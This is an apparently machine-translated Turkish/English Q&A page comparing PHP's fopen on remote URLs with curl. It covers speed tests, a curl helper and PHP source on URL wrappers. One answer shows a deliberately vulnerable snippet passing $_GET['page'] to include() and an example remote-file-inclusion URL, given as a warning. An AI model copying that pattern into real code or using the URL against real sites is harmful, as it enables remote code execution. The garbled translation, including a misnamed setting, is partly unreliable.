PHP fopen ($ url) ve kıvrım kullanarak arasındaki önemli farklar nelerdir?

3 Cevap php

Ben HTTP (s) üzerinden bir web hizmetine konuşmak gerekir bazı kod yazıyorum. Geçmişte ben kıvırmak kütüphanesini kullandım. Son zamanlarda, ben sadece bir uzak URL erişmek için fopen () kullanabilirsiniz fark ve bu kadar basit görünüyor.

Curl seçenekleri bir bolluk olması, çok daha yapılandırılabilir gibi görünüyor. Bu konfigürasyon ötesinde, kullanıldığı hangi yöntemi önemi var? Eğer öyleyse, hangi neden daha iyi ve?

3 Cevap

allow_fopen_url php.ini etkinse fopen() sadece uzaktan URL'ler açılacaktır.

include fonksiyonu da uzak sitelerinden and parse PHP kodu indirmek çünkü Ancak önceki 5.2.0 sürümlerinde, bu son derece tehlikeli oldu. Saf bir kodlayıcı kolayca gibi bir kod ile yakalanmış olabilir:

<?php
    $page = $_GET['page'];
    include($page);
?>

Saldırganın sadece http://example.com/script.php?page=http://example.net/my_exploit_script to execute their own code on the system and introduce an exploit. Unfortunately the default value for allow_fopen_url 'on' için sormak zorunda hangi noktada.

Neyse ki, 5.2.0 'dan beri allow_url_include uzaktan kod indirirken include engelleyen denilen ayrı bir ayar (' kapalı 'için hangi should varsayılan) var.

Eğer Curl kullanma seçeneği var ise Şahsen, o ziyade fopen kullanın.

As Alnitak said, using CURL does not depend on the PHP settings. I've done some speed tests

file_get_contents

ile benim

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

Sonuç:

0.263456821442
0.0626730918884

CURL 4 kat daha hızlı :)

yan not: PHP yerine "kendi" uygulaması kullanarak http url_wrapper için curl kullanmak için yapılandırılabilir.

ext / curl / interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
    {
    	curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
    	char **p = (char **)info->protocols;

    	while (*p != NULL) {
    		php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
    	}
    }
# else
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif